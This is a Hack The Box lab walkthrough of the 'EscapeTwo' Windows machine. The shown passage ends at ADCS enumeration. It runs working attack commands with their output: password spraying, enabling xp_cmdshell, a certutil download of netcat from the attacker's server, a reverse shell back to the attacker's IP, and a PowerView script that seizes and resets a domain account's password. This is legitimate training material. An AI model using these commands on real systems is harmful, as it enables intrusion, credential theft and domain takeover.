EscapeTwo is an easy difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. We leverage these credentials to access a file share containing a corrupted Excel document. By modifying its byte structure, we extract credentials. These are then sprayed across the domain, revealing valid credentials for a user with access to MSSQL, granting us initial access. System enumeration reveals SQL credentials, which are sprayed to obtain WinRM access. Further domain analysis shows the user has write owner rights over an account managing ADCS. This is used to enumerate ADCS, revealing a misconfiguration in Active Directory Certificate Services. Exploiting this misconfiguration allows us to retrieve the Administrator account hash, ultimately leading to complete domain compromise.
As is common in real life Windows pentests, you will start this box with credentials for the following account: rose / KxEPkKe6R8su
Question 1: What is the fully qualified domain name of the machine?
We run nmap -sC -sV -A [TARGET_IP] -Pn.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ nmap -sC -sV -A 10.129.232.128 -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-18 03:34 EDT
Nmap scan report for 10.129.232.128
Host is up (0.18s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-17 07:38:48Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Not valid before: 2025-06-26T11:46:45
|_Not valid after: 2124-06-08T17:00:40
|_ssl-date: 2026-09-17T07:40:12+00:00; -23h56m02s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-09-17T07:40:12+00:00; -23h56m02s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Not valid before: 2025-06-26T11:46:45
|_Not valid after: 2124-06-08T17:00:40
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.129.232.128:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 10.129.232.128:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2026-09-17T07:40:12+00:00; -23h56m02s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-09-17T07:35:25
|_Not valid after: 2056-09-17T07:35:25
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Not valid before: 2025-06-26T11:46:45
|_Not valid after: 2124-06-08T17:00:40
|_ssl-date: 2026-09-17T07:40:12+00:00; -23h56m02s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-09-17T07:40:12+00:00; -23h56m02s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL
| Not valid before: 2025-06-26T11:46:45
|_Not valid after: 2124-06-08T17:00:40
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-09-17T07:39:34
|_ start_date: N/A
|_clock-skew: mean: -23h56m02s, deviation: 0s, median: -23h56m02s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.30 seconds
The fully qualified domain name (FQDN) which is the exact complete name of a specific computer or server on the network from the Nmap scan is DC01.sequel.htb. We then add the names as DNS entry.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ echo "10.129.232.128 sequel.htb DC01.sequel.htb" | sudo tee -a /etc/hosts
10.129.232.128 sequel.htb DC01.sequel.htb
Answer: DC01.sequel.htb
Question 2: There are two shares on EscapeTwo that are not standard for a Windows DC. One is Users. What is the name of the other?
We use netexec to enumerate the possible shares.
─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ netexec smb sequel.htb -u rose -p 'KxEPkKe6R8su' --shares
SMB 10.129.232.128 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.128 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.129.232.128 445 DC01 [*] Enumerated shares
SMB 10.129.232.128 445 DC01 Share Permissions Remark
SMB 10.129.232.128 445 DC01 ----- ----------- ------
SMB 10.129.232.128 445 DC01 Accounting Department READ
SMB 10.129.232.128 445 DC01 ADMIN$ Remote Admin
SMB 10.129.232.128 445 DC01 C$ Default share
SMB 10.129.232.128 445 DC01 IPC$ READ Remote IPC
SMB 10.129.232.128 445 DC01 NETLOGON READ Logon server share
SMB 10.129.232.128 445 DC01 SYSVOL READ Logon server share
SMB 10.129.232.128 445 DC01 Users READ
Answer: Accounting Department
Question 3: What is the password for the sa user on the Microsoft SQL Server instance?
We enumerate the Accounting Department share.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ impacket-smbclient sequel.htb/rose:'KxEPkKe6R8su'@sequel.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# shares
Accounting Department
ADMIN$
C$
IPC$
NETLOGON
SYSVOL
Users
# use Accounting Department
# ls
drw-rw-rw- 0 Sun Jun 9 07:11:31 2024 .
drw-rw-rw- 0 Sun Jun 9 07:11:31 2024 ..
-rw-rw-rw- 10217 Sun Jun 9 07:11:31 2024 accounting_2024.xlsx
-rw-rw-rw- 6780 Sun Jun 9 07:11:31 2024 accounts.xlsx
# get accounting_2024.xlsx
# get accounts.xlsx
# exit
Attempting to open the Excel files results was not successful. We check the type of files these Excel files are.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ file accounts.xlsx
accounts.xlsx: Zip archive data, made by v2.0, extract using at least v2.0, last modified Jun 09 2024 10:47:44, uncompressed size 681, method=deflate
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ file accounting_2024.xlsx
accounting_2024.xlsx: Zip archive data, made by v4.5, extract using at least v2.0, last modified Jan 01 1980 00:00:00, uncompressed size 1284, method=deflate
Now we attempt to check the magic number of the files using the Hexedit CLI tool, which can be installed by running sudo apt install hexedit. Then we can run hexedit accounts.xlsx to view the bytes of the file (hex on the left side, ASCII on the right side).
00000000 50 48 04 03 14 00 08 08 08 00 F6 55 C9 58 00 00 00 00 00 00 00 00 00 00 00 00 1A 00 00 00 78 6C PH.........U.X................xl
00000020 2F 5F 72 65 6C 73 2F 77 6F 72 6B 62 6F 6F 6B 2E 78 6D 6C 2E 72 65 6C 73 AD 52 41 6A C3 30 10 BC /_rels/workbook.xml.rels.RAj.0..
00000040 E7 15 62 EF B5 EC A4 84 52 2C E7 12 0A B9 A6 E9 03 84 BC B6 4C 6C 49 68 37 6D F2 FB AA 4D 68 1C ..b.....R,..........LlIh7m...Mh.
00000060 08 A1 07 9F C4 CC 6A 67 86 61 CB D5 71 E8 C5 27 46 EA BC 53 50 64 39 08 74 C6 D7 9D 6B 15 7C EC ......jg.a..q..'F..SPd9.t...k.|.
00000080 DE 9E 5E 60 55 CD CA 2D F6 9A D3 17 B2 5D 20 91 76 1C 29 B0 CC E1 55 4A 32 16 07 4D 99 0F E8 D2 ..^`U..-.....] .v.)...UJ2..M....
[...]
Notice that the magic number of the file is 50 48 04 03. Doing an internet search of Excel's magic number reveals that it should be 50 4B 03 04. We then replace the magic number accordingly and save the changes. We repeat the same Hex modification for accounting_2024.xlsx.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ file accounting_2024.xlsx
accounting_2024.xlsx: Microsoft Excel 2007+
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ file accounts.xlsx
accounts.xlsx: Microsoft Excel 2007+
Running file [EXCEL_FILE] after the magic number modification reveals that both files are successfully identified as Microsoft Excel 2007 files. Now we should be able to open them properly and view their contents.
(accounts.xlsx)
1 First Name Last Name Email Username Password
2 Angela Martin angela@sequel.htb angela 0fwz7Q4mSpurIt99
3 Oscar Martinez oscar@sequel.htb oscar 86LxLBMgEWaKUnBG
4 Kevin Malone kevin@sequel.htb kevin Md9Wlq1E5bZnVDVo
5 NULL NULL sa@sequel.htb sa MSSQLP@ssw0rd!
(accounting_2024.xlsx)
1 Date Invoice Number Vendor Description Amount Due Date Status Notes
2 9/6/24 1001 Dunder Mifflin Office Supplies 150$ 01/15/2024 Paid
3 23/08/2024 1002 Business Consultancy Consulting 500$ 01/30/2024 Unpaid Follow up
4 7/10/24 1003 Windows Server License Software 300$ 02/05/2024 Paid
Answer: MSSQLP@ssw0rd!
Question 4: What is the name of the file found in the Microsoft SQL Server installation directory that contains configuration settings?
From the information retrieved in the accounts.xlsx file, we store all the usernames as users.txt and all the passwords as pass.txt. Then we run Netexec to check if the credentials are valid.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ vi users.txt
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ vi pass.txt
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ netexec smb sequel.htb -u users.txt -p pass.txt
SMB 10.129.232.128 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.128 445 DC01 [-] sequel.htb\angela:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\oscar:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\kevin:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\sa:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\angela:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
The output reveals the following credentials: oscar:86LxLBMgEWaKUnBG. Since we saw that MSSQL port was open from the Nmap scan earlier, we can test these credentials on MSSQL by passing the local-auth option, which attempts to authenticate directly against the MSSQL service. We use the sa account, which is the default system administrator account in SQL Server.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ nxc mssql sequel.htb -u sa -p 'MSSQLP@ssw0rd!' --local-auth
MSSQL 10.129.232.128 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) (EncryptionReq:False)
MSSQL 10.129.232.128 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
Since this works, we now use impacket-mssqlclient to connect to the host.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ impacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@sequel.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (sa dbo@master)> enable_xp_cmdshell
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> xp_cmdshell whoami
output
--------------
sequel\sql_svc
NULL
SQL (sa dbo@master)>
Now the next few sequential steps are important: 1. Set up a local Netcat listener on the attacker Linux machine, 2. Download Netcat for Windows (nc64.exe) into the attacker Linux machine, 3. Set up Python HTTP server to enable Netcat download from the target Windows machine and 4. Using certutil to download the binary via MSSQL.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ git clone https://github.com/int0x33/nc.exe.git
Cloning into 'nc.exe'...
remote: Enumerating objects: 13, done.
remote: Total 13 (delta 0), reused 0 (delta 0), pack-reused 13 (from 1)
Receiving objects: 100% (13/13), 114.07 KiB | 10.37 MiB/s, done.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ cd nc.exe/
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~/nc.exe]
└──╼ [★]$ ls
doexec.c generic.h getopt.c getopt.h hobbit.txt license.txt Makefile nc64.exe nc.exe netcat.c readme.txt
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~/nc.exe]
└──╼ [★]$ mv nc64.exe ~
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~/nc.exe]
└──╼ [★]$ ls
doexec.c generic.h getopt.c getopt.h hobbit.txt license.txt Makefile nc.exe netcat.c readme.txt
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~/nc.exe]
└──╼ [★]$ cd ~ && ls
accounting_2024.xlsx cacert.der Documents Music nc64.exe pass.txt Templates Videos
accounts.xlsx Desktop Downloads my_data nc.exe Pictures users.txt
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ nc -lvnp 1337
Listening on 0.0.0.0 1337
If running the commands in the active SQL session does not work, it means we need to rerun enable_xp_cmdshell.
SQL (sa dbo@master)> enable_xp_cmdshell
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> EXEC xp_cmdshell 'certutil -urlcache -split -f http://10.10.14.224:8080/nc64.exe C:\Users\sql_svc\Desktop\nc64.exe';
output
---------------------------------------------------
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
NULL
SQL (sa dbo@master)> EXEC xp_cmdshell 'C:\Users\sql_svc\Desktop\nc64.exe -e cmd.exe 10.10.14.224 1337';
Our Netcat listener should now have an active connection. Exploring around the different directories brings us to the configuration file required.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ nc -lvnp 1337
Listening on 0.0.0.0 1337
Connection received on 10.129.232.128 56973
Microsoft Windows [Version 10.0.17763.6659]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
sequel\sql_svc
C:\Windows\system32>cd ..\..
cd ..\..
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is 3705-289D
Directory of C:\
11/05/2022 12:03 PM <DIR> PerfLogs
01/04/2025 08:11 AM <DIR> Program Files
06/09/2024 08:37 AM <DIR> Program Files (x86)
06/08/2024 03:07 PM <DIR> SQL2019
06/09/2024 06:42 AM <DIR> Users
01/04/2025 09:10 AM <DIR> Windows
0 File(s) 0 bytes
6 Dir(s) 3,797,946,368 bytes free
C:\>cd SQL2019
cd SQL2019
C:\SQL2019>dir
dir
Volume in drive C has no label.
Volume Serial Number is 3705-289D
Directory of C:\SQL2019
06/08/2024 03:07 PM <DIR> .
06/08/2024 03:07 PM <DIR> ..
01/03/2025 08:29 AM <DIR> ExpressAdv_ENU
0 File(s) 0 bytes
3 Dir(s) 3,797,946,368 bytes free
C:\SQL2019>cd ExpressAdv_ENU
cd ExpressAdv_ENU
C:\SQL2019\ExpressAdv_ENU>dir
dir
Volume in drive C has no label.
Volume Serial Number is 3705-289D
Directory of C:\SQL2019\ExpressAdv_ENU
01/03/2025 08:29 AM <DIR> .
01/03/2025 08:29 AM <DIR> ..
06/08/2024 03:07 PM <DIR> 1033_ENU_LP
09/24/2019 10:03 PM 45 AUTORUN.INF
09/24/2019 10:03 PM 788 MEDIAINFO.XML
06/08/2024 03:07 PM 16 PackageId.dat
06/08/2024 03:07 PM <DIR> redist
06/08/2024 03:07 PM <DIR> resources
09/24/2019 10:03 PM 142,944 SETUP.EXE
09/24/2019 10:03 PM 486 SETUP.EXE.CONFIG
06/08/2024 03:07 PM 717 sql-Configuration.INI
09/24/2019 10:03 PM 249,448 SQLSETUPBOOTSTRAPPER.DLL
06/08/2024 03:07 PM <DIR> x64
7 File(s) 394,444 bytes
6 Dir(s) 3,797,946,368 bytes free
C:\SQL2019\ExpressAdv_ENU>type sql-Configuration.INI
type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
C:\SQL2019\ExpressAdv_ENU>
Notice how there are some credentials exposed.
Answer: sql-Configuration.INI
Question 5: What is the name of the user who likely reused their password during the Microsoft SQL Server installation?
We enumerate the user accounts on the system by running net user.
C:\SQL2019\ExpressAdv_ENU>net user
net user
User accounts for \\DC01
-------------------------------------------------------------------------------
Administrator ca_svc Guest
krbtgt michael oscar
rose ryan sql_svc
The command completed successfully.
We store all the user accounts into separate rows in a file called Users.txt. Then we use netexec to run a password spray attack on the list of users.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ vi Users.txt
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ netexec smb sequel.htb -u Users.txt -p 'WqSZAF6CysDQbGb3'
SMB 10.129.232.128 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.128 445 DC01 [-] sequel.htb\Administrator:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\ca_svc:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\Guest:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\krbtgt:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\michael:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\oscar:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\rose:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3
Notice that ryan's credentials are valid.
Answer: ryan
Question 6: Submit the flag located on the ryan user's desktop.
Using ryan's credentials, we use Evil-WinRM to establish a remote PowerShell session with the Windows machine over WinRM and retrieve the user flag.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ evil-winrm -i sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\ryan\Desktop> dir
Directory: C:\Users\ryan\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/17/2026 12:35 AM 34 user.txt
*Evil-WinRM* PS C:\Users\ryan\Desktop> type user.txt
083644e640f65ecfcf56d62dbadf27a1
Answer: 083644e640f65ecfcf56d62dbadf27a1
Question 7: Which user does the ryan user have WriteOwner permissions over?
We use the credentials again when we run bloodhound-python, a Python-based integrator for BloodHound to gather information about the Active Directory domain.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ sudo ntpdate sequel.htb
2026-09-17 08:17:34.718274 (-0400) -86162.074483 +/- 0.089032 sequel.htb 10.129.232.128 s1 no-leap
CLOCK: time stepped by -86162.074483
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ bloodhound-python -u ryan -p 'WqSZAF6CysDQbGb3' -d sequel.htb -ns 10.129.232.128 -c all --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: sequel.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.sequel.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.sequel.htb
INFO: Found 10 users
INFO: Found 59 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.sequel.htb
INFO: Done in 00M 34S
INFO: Compressing output into 20260917081739_bloodhound.zip
If BloodHound is not installed in the local machine, first we need to run sudo apt update && sudo apt install bloodhound, then we run sudo bloodhound-setup which creates the database and installs neo4j. The default credentials given are neo4j:neo4j, which is optional for us to change (in this lab I did not bother to change). To start BloodHound, we run bloodhound --no-sandbox, and BloodHound should open in the web browser, which we login using the credentials neo4j:neo4j. Then we click on the 'Upload Data' icon button on the right panel, and upload the yyyymmddhhmmss_bloodhound.zip file. Once the file is uploaded, we type RYAN@SEQUEL.HTB in the search bar of the left panel (same row as the hamburger icon), hit Enter on the keyboard, and click on the Node Info tab. We scroll down until we reach the 'Outbound Object Control' section and click on 'First Degree Object Control'.

We should be able to see that the user ryan has the WriteOwner permissions over the user ca_svc. This privilege allows ryan to control the ca_svc account, including modifying its properties and changing its password.
Answer: ca_svc
Question 8: What group is ca_svc a member of that relates to certificate publication?
Now we change the password for the user ca_svc using PowerView, which we copy to our Linux home directory.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ find / -type f -name "*PowerView*" 2>/dev/null
/usr/share/windows-resources/powersploit/Recon/PowerView.ps1
^C
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ cp /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 ~
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ ls | grep PowerView
PowerView.ps1
After we are done uploading PowerView, we run the entire block of PowerShell script below to change ca_svc's password.
@'
Import-Module .\PowerView.ps1
Set-DomainObjectOwner -Identity 'ca_svc' -OwnerIdentity 'ryan'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "ca_svc" -PrincipalIdentity "ryan"
$securePassword = ConvertTo-SecureString "Password123!!" -AsPlainText -Force
Set-DomainUserPassword -Identity ca_svc -AccountPassword $securePassword
'@ | Out-File -FilePath .\exploit.ps1 -Encoding utf8
*Evil-WinRM* PS C:\Users\ryan\Desktop> upload PowerView.ps1
Info: Uploading /home/aaronamran/PowerView.ps1 to C:\Users\ryan\Desktop\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\ryan\Desktop> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\ryan\Desktop> @'
Import-Module .\PowerView.ps1
Set-DomainObjectOwner -Identity 'ca_svc' -OwnerIdentity 'ryan'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "ca_svc" -PrincipalIdentity "ryan"
$securePassword = ConvertTo-SecureString "Password123!!" -AsPlainText -Force
Set-DomainUserPassword -Identity ca_svc -AccountPassword $securePassword
'@ | Out-File -FilePath .\exploit.ps1 -Encoding utf8
*Evil-WinRM* PS C:\Users\ryan\Desktop> dir
Directory: C:\Users\ryan\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/17/2026 6:20 AM 332 exploit.ps1
-a---- 9/17/2026 6:01 AM 770279 PowerView.ps1
-ar--- 9/17/2026 12:35 AM 34 user.txt
*Evil-WinRM* PS C:\Users\ryan\Desktop> .\exploit.ps1
We use netexec to verify the password reset is successful.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ nxc smb sequel.htb -u ca_svc -p 'Password123!!'
SMB 10.129.232.128 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.128 445 DC01 [+] sequel.htb\ca_svc:Password123!!
Back to using BloodHound, we now search for CA_SVC@SEQUEL.HTB, then in the Node Info tab, we click on 'First Degree Group Memberships' located under the 'Group Memberships' section. We should see two groups appearing: DOMAIN USERS@SEQUEL.HTB and CERT PUBLISHERS@SEQUEL.HTB. Clicking on the CERT PUBLISHERS@SEQUEL.HTB icon loads its Node Info, where we can see the Description: Members of this group are permitted to publish certificates to the directory. This suggests the presence of Active Directory Certificate Services. We now enumerate certificate templates and configurations using the credentials for ca_svc with Certipy, a tool for enumerating and exploiting vulnerabilities in Active Directory Certificate Services (ADCS).

Answer: Cert Publishers
Question 9: What is the name of the vulnerable certificate template that can be exploited by the Cert Publishers group?
If Certipy is not installed, we need to create a Python virtual environment, and install it inside. If running Certipy returns errors related to incorrect credentials, it most likely means that the lab target machine has some resets (according to forums discussing this HTB machine, the ca_svc's password resets every 3 minutes), so we need to rerun the exploit.ps1 file we created via one-liner in the Evil-WinRM session.
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ python3 -m venv certipy-venv
┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ source certipy-venv/bin/activate
(certipy-venv) ┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ pip install certipy-ad
[...]
(certipy-venv) ┌─[au-free-2]─[10.10.14.224]─[aaronamran@htb-i5l8jkvaiy]─[~]
└──╼ [★]$ certipy find -u 'ca_svc@sequel.htb' -p 'Password123!!' -dc-ip 10.129.232.128 -stdout
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'sequel-DC01-CA'
